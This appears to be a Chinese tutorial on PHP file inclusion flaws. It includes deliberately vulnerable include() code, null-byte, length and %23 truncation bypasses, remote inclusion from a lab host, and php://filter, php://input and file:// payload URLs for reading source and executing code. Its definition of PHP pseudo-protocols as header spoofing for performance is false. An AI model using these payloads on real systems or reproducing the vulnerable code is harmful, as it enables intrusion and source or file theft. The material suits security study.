一、漏洞检测与危害
概念
在真实的开发项目中,文件包含可以节省重复代码
文件包含:将指定的文件当代码执行 文件包含执行恶意代码(图片木马),也可能导致敏感信息的泄露(配置文件)
检测
检测是否有该漏洞 白盒:通过代码审计的方式 黑盒:扫描工具、公开的漏洞,手动看参数以及功能点
二、文件本地与远程
包含
文件包含有本地包含与远程包含的区别,本地包含只能包含服务器已经有的问题,如果服务 器没有需要包含的文件需要配合其他漏洞使用(文件上传漏洞) 远程包含可以包含一切网络上的文件,所以危害性要比本地包含大
(1)本地包含
无限制
无限制就是没有限制
1、新建一个 upload.php 文件当做服务
<?php
$filename=$_GET['filename'];
include ( $filename);
?>
2、新建一个 .txt 文件
<?php
phpinfo();
?>
3、访问 :把 1.txt 里面的文件变成了可以执行
localhost/upload.php?filename=1.txt
有限制
就是包含的文件是有一定限制的,为了正确包含进去,需要适当的绕过
例子
1、新建一个 upload.php 文件当服务
<?php
$filename=$_GET['filename'];
include($filename.".html");
?>
2、新建一个 .txt 文件
<?php
phpinfo();
?>
3、访问。无法像有限制级一样直接访问,需要借助绕过。
绕过方式
00截断
截断在前面解释过
原理:00 截断是操作系统层的漏洞,由于操作系统是 C 语言或汇编语言编写的,这两种语言 在定义字符串时,都是以\0(即 0x00)作为字符串的结尾。操作系统在识别字符串 时,当读取到\0 字符时,就认为读取到了一个字符串的结束符号。因此,我们可以通 过修改数据包,插入\0 字符的方式,达到字符串截断的目的。
方法:在bp中添加%00(00截断分为get和post两种方法具体可根据当时场景讨论)
注:post需对%00多做一次解码的工作,get 型提交的内容会被自动进行 URL 解码,在 post请求中,%00 不会被自动解码。
访问:localhost/include/upload.php?filename=1.txt%00
长度截断
原理:windows 长度命名长度限制 256 个字符(由于磁盘分区需要占用一个字符,所以用户只能使用 255 个字符命名文件夹。) linux 长度限制 4096,因此Linux不适合长度截断。
访问:localhost/include/upload2.php?filename=1.txt.............................................................................................................................................................................................................
(2)远程包含
远程包含危害比本地包含危害更大,所以需要额外的权限才能打开allow_url_include 配置专门针对 PHP 的 include、include_once、require 及require_once 语句。当 allow_url_include 被设置为 On 时,PHP 允许通过URL 的形式,从远程服务器 包含和执行 PHP 文件。
无限制
即通过本地来访问远程文件,下面代码中192.168.0.13:88/1.txt
为访问IP192.168.0.13的远程通过88端口,访问1.txt
访问:localhost/upload.php?filename=http://192.168.0.13:88/1.txt
有限制
与本地包含中有限制类似
绕过方法
文件名绕过
远程文件是可控的,既然他要求是 1.txt.html,我把文件修改成这样就可以访问
空格绕过
%23 是#,通过传参的方式,可以用来绕过。
访问:localhost/upload.php?filename=http://192.168.0.13:88/1.txt%23
三、常见脚本语言伪协议
PHP 伪协议是一种在 PHP 处理数据时,通过替换数据报的头部信息来欺骗网络协议的方式来提高性能的技术。
1、PHP 支持的伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
2、http://、https://
URL 形式,允许通过 HTTP 1.0 的 GET 方法,以只读访问文件或资源,通常用于远程包含
3、filter
php://filter 用于读取源码
参数列表
resource=<要过滤的数据流> 必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
<; 两个链的过滤器> 任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。
字符串过滤器
string.rot13 等同于 str_rot13(),rot13 变换
string.toupper 等同于 strtoupper(),转大写字母
string.tolower 等同于 strtolower(),转小写字母
string.strip_tags 等同于 strip_tags(),去除 html、PHP 语言标签转换过滤器 作用
convert.base64-encode & convert.base64-decode 等同于 base64_encode()和base64_decode(),base64 编码解码
convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与8-bit 字符串编码解码
压缩过滤器
zlib.deflate & zlib.inflate 在本地文件系统中创建gzip 兼容文件的方法,但不产生命令行工具如gzip 的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress 同上,在本地文件系统中创建bz2 兼容文件的方法。
加密过滤器
mcrypt.* libmcrypt 对称加密算法
mdecrypt.* libmcrypt 对称解密算法
案例:
读取中 upload.php 文件以 base64 编码输出
localhost/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php
4、input
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作php 代码执行
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA 部分
<?php phpinfo(); ?>
5、file
用于访问本地文件系统f,ile://需要的是完整的路径
访问 hosts 文件
http://localhost/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts
6、data
以传递相应格式的数据。通常可以用来执行 PHP 代码